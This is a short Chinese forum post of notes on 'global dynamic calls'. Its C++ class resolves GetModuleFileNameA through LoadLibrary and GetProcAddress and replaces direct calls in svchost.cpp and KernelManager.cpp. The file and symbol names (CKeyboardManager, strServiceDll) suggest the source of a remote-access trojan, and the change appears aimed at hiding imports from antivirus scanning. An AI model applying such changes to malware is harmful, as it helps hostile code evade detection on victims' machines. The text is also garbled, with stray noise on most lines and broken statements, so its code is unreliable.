|

- 帖子
- 11
- 积分
- 14
- 威望
- 17
- 金钱
- 10
- 在线时间
- 0 小时
|
全局动态调用笔记
6 d/ d' |* K6 M. k( Asvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h. U- f6 e% O1 G& O, |. O5 `1 B3 N
----------------------------------------
, U6 F& Y" O* g3 k iDTDY.h:1 D6 ^( s, y8 W' H- j* b
, Y" _9 g, f& F, Z2 z; Q#if _MSC_VER>1000
\4 j/ a* }& e" M- l/ q#pragma once+ c3 \0 w. n' I' S3 G
#endif //_MSC_VER>1000: e: c; h4 j: r7 G% I, N: L* P# w
#include<windows.h>
; F5 y$ d% p! R D# ~# M
, T: M) y+ `6 Etypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);" I8 v+ {/ V3 O! C7 k
class DTDY2 Y7 J) Q( J8 p9 Z" B+ d3 Y
{# s8 h- B1 k# ? T) |0 R
public:
# B0 C4 Z5 z- v. [& ODTDY();0 p: Z" U" Q! T. G# ~* e: P* d' R
virtual ~DTDY();; j# u0 |' U5 z
public:# z4 s: k3 V- `, P
static pGetModuleFileNameA MyGetModuleFileName;
4 p& J* \! {6 estatic BOOL FunInitiallization();7 t* w6 {. @( j% h- E0 @; r
};
$ g3 z1 d K6 I$ B9 i#endif
6 c: \8 ]6 z, x8 @ ~----------------------------------------$ }6 k+ i7 c- l$ C" z* v4 V1 X) _
% ~1 h7 C7 |% |4 S( D1 E' k
DTDY.cpp:$ ~9 [7 H# P; M
- d% c; f& S6 t: T! J |9 Y#include "DTDY.h"
! [- |7 c' j0 s xpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
5 U; H9 a; Z2 GDTDY:TDY()
8 N7 K) y, r6 P! S* K& f{2 C s2 b4 U7 a! E. r1 `% ^
}
" @1 M. t% Y- k0 u+ x N3 JDTDY::~DTDY()% }+ f7 S9 |. x" s3 P3 N2 x0 v
{& f8 F# L: J+ j5 E; w2 A' l
}; E4 c$ ?5 Y# `! y1 o; e
BOOL DTDY::FunInitiallization()
4 c" J$ c& I- @ v{
' r) ?$ N7 D. r" c, }" J1 f- sHMODULE hModule=LoadLibrary("kernel32.dll");
4 v* z% D' i! U) u8 S7 x4 mMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");; p4 X3 V9 M; U/ E8 W; n( R3 D5 n
if(!MyGetModuleFileName=) return FALSE;
0 u( b& k3 a0 y
' @! m$ ^9 D- hreturn TRUE; K( P. C7 F. j5 w+ l, e: A
}
6 p- B7 n5 p) u- p+ R% x----------------------------------------
2 u! B9 W, Q* [, Qsvchost.cpp:
4 e$ h9 e2 C1 _/ G/ E ^, c$ V' V5 X7 m
#include "DTDY.h"
0 a7 e1 J/ T$ ~" ?
, g5 E3 Y- a+ `3 B0 NBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)6 Z" F4 v& M" q) A ]$ c
{/ N' }. j9 u, p
switch(ul_reason_for_call)2 {: I: Z& x: T$ B
{
( A, g; ]7 [( g0 J% Z$ }case DLL_PROCESS_ATTACH:0 S& I0 H- J% ]) V
if(!DTDY::FunInitiallization()) return FALSE;4 z8 o, I9 m- U* a
+ S5 p1 ~( e! ^) l, a7 I: l
break;
7 O4 r) B( K2 i' O/ u}
; a( p# O" X/ l! U% n! D}
9 k2 M" C7 |: N8 m% ~3 F: e" H z
6 d) [# @: G. p- x* _6 d, \" n0 Y
! q1 F) J* E6 s, TGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
/ ]# H" A; U, c$ l# P9 x$ U改写为, F( i7 L* ]+ ^- c v: y
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
5 f6 t9 Y/ V0 U! Y6 d( x----------------------------------------$ g7 }8 `# q3 ?
KernelManager.cpp:
- }, @8 {! y. }3 S3 f: M. Y5 x e( _( @; P7 H* S
#include "../DTDY.h"
( V* R8 h. ^4 f9 a( [ O9 iGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
/ X2 s1 H2 [+ n: K3 `3 `6 ]改写为
: \ A, U) C+ d- ?2 I4 Z9 k3 [DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
6 C0 M2 _' @8 M) i---------------------------------------- |
|